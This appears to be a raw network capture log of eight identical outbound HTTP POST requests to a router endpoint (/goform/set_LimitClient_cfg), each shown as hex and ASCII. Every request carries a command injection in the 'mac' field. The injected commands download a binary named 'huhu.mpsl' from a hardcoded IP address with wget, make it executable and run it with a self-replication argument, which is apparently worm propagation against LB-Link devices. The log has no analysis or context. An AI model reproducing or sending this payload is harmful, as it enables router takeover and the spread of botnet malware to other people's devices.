Feb 29, 2024 10:21:29.551110983 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:30.405834913 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:31.397799015 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:33.349828005 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:37.253561020 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:21:45.189230919 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:22:00.804672003 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:22:32.295449972 CET	225	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;